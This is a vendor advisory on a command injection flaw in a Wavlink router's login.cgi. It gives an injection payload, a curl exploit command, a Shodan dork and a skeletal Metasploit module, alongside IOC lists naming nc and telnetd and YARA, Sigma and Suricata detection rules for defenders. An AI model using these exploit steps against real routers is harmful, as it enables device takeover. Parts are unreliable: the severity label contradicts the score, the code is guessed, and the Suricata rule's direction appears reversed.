CVE-2025-10325
Executive Summary
CVE-2025-10325 is a critical command injection vulnerability in the Wavlink WL-WN578W2 router (firmware version 221110). The flaw resides in the /cgi-bin/login.cgi binary, specifically within the functions sub_401340 and sub_401BA4. By manipulating the ipaddr argument in an HTTP POST request, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor was contacted but did not respond, and a public proof-of-concept (PoC) exploit is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of the exploit increases risk for exposed devices.
This vulnerability is not related to any WordPress plugin or component; it is a standalone embedded device firmware issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Base Score: 6.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification possible.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level compromise. However, in a router context, low integrity/availability can still lead to DNS hijacking, traffic interception, or device bricking.
Deep Dive & Mechanics
The vulnerability is a classic command injection in the ipaddr parameter processed by the sub_401340 and sub_401BA4 functions inside /cgi-bin/login.cgi. The binary likely constructs a shell command using user-supplied input without proper sanitization. For example, the ipaddr value may be passed directly to system() or popen().
Attack Flow:
- Attacker sends an HTTP POST request to
/cgi-bin/login.cgiwith a craftedipaddrparameter. - The parameter contains shell metacharacters (e.g.,
;,|,`) followed by arbitrary commands. - The router executes the injected command with root privileges.
- Attacker gains remote code execution (RCE) on the device.
Example Payload:
ipaddr=127.0.0.1; ls -la
The functions sub_401340 and sub_401BA4 are likely responsible for parsing the ipaddr field and passing it to a shell. The lack of input validation allows the injection.
Vulnerable vs. Patched Code
Vulnerable Code (Reverse Engineered):
// Pseudocode of sub_401340
void sub_401340(char *ipaddr) {
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ipaddr);
system(cmd);
}
Patched Code (Hypothetical):
void sub_401340(char *ipaddr) {
// Validate IP address format
if (!is_valid_ip(ipaddr)) {
return;
}
char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 1 %s", ipaddr);
system(cmd);
}
The patch would require strict input validation (e.g., regex for IP address) and avoidance of shell functions. Using execvp with a fixed argument list is safer.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Wavlink WL-WN578W2 router with firmware 221110.
- Network access to the router's web interface (typically port 80/443).
Exploit Steps:
- Identify target router (e.g., via Shodan dork
http.title:"Wavlink"). - Send a crafted POST request to
/cgi-bin/login.cgi:
curl -X POST http://<target>/cgi-bin/login.cgi \
-d "ipaddr=127.0.0.1; id"
- The output of the
idcommand will be returned in the HTTP response (if reflected) or executed blindly.
Metasploit Module (Conceptual):
# msf module placeholder
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def exploit
send_request_cgi({
'method' => 'POST',
'uri' => '/cgi-bin/login.cgi',
'data' => "ipaddr=127.0.0.1;#{payload.encoded}"
})
end
end
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/login.cgiwith suspiciousipaddrvalues (e.g., containing;,|,&,`). - Alert on outbound connections from the router to unknown IPs (post-exploitation C2).
- Check for unusual processes running on the router (e.g.,
telnetd,nc,bash).
Honeypot:
- Deploy a low-interaction honeypot mimicking the Wavlink login page.
- Log all
ipaddrparameter values for analysis.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/login.cgiwithipaddrcontaining shell metacharacters. - Outbound connections from the router to uncommon ports (e.g., 4444, 31337).
- DNS queries to suspicious domains (e.g.,
malware.example.com).
Host IOCs:
- Unauthorized processes:
telnetd,dropbear,nc,bash(if not normally present). - Modified
/etc/passwdor/etc/shadow(new user accounts). - Presence of files in
/tmp/with suspicious names (e.g.,.exploit,payload).
File IOCs:
- Hash of vulnerable firmware:
sha256sumof WL-WN578W2 firmware 221110 (if available).
Detection Engineering
YARA Rule
rule CVE_2025_10325_Wavlink_Command_Injection {
meta:
description = "Detects exploit attempts for CVE-2025-10325 in HTTP traffic"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10325"
strings:
$s1 = "/cgi-bin/login.cgi" ascii wide nocase
$s2 = "ipaddr=" ascii wide nocase
$s3 = ";" ascii
$s4 = "|" ascii
$s5 = "`" ascii
condition:
$s1 and $s2 and (any of ($s3,$s4,$s5))
}
Sigma Rule
title: CVE-2025-10325 Wavlink Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/login.cgi with suspicious ipaddr parameter
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/login.cgi'
cs-uri-query|contains: 'ipaddr='
filter:
cs-uri-query|re: 'ipaddr=[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$'
condition: selection and not filter
falsepositives:
- Legitimate IP address input (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10325 Wavlink Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/login.cgi"; http_uri;
content:"ipaddr="; http_client_body;
pcre:"/ipaddr=[^&]*(;|\||`)/Pi";
sid:10000001;
rev:1;
reference:cve,2025-10325;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable remote management on the Wavlink router if not required.
- Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Monitor logs for exploitation attempts (use Sigma/Suricata rules above).
Long-Term Fix:
- Since the vendor is unresponsive, consider replacing the device with a supported model.
- If replacement is not possible, apply a virtual patch using a WAF or IDS/IPS (e.g., ModSecurity rule blocking
ipaddrwith shell metacharacters).
Workaround:
- Manually patch the firmware by modifying the
login.cgibinary to sanitize input (requires reverse engineering skills and re-flashing).
Valters IT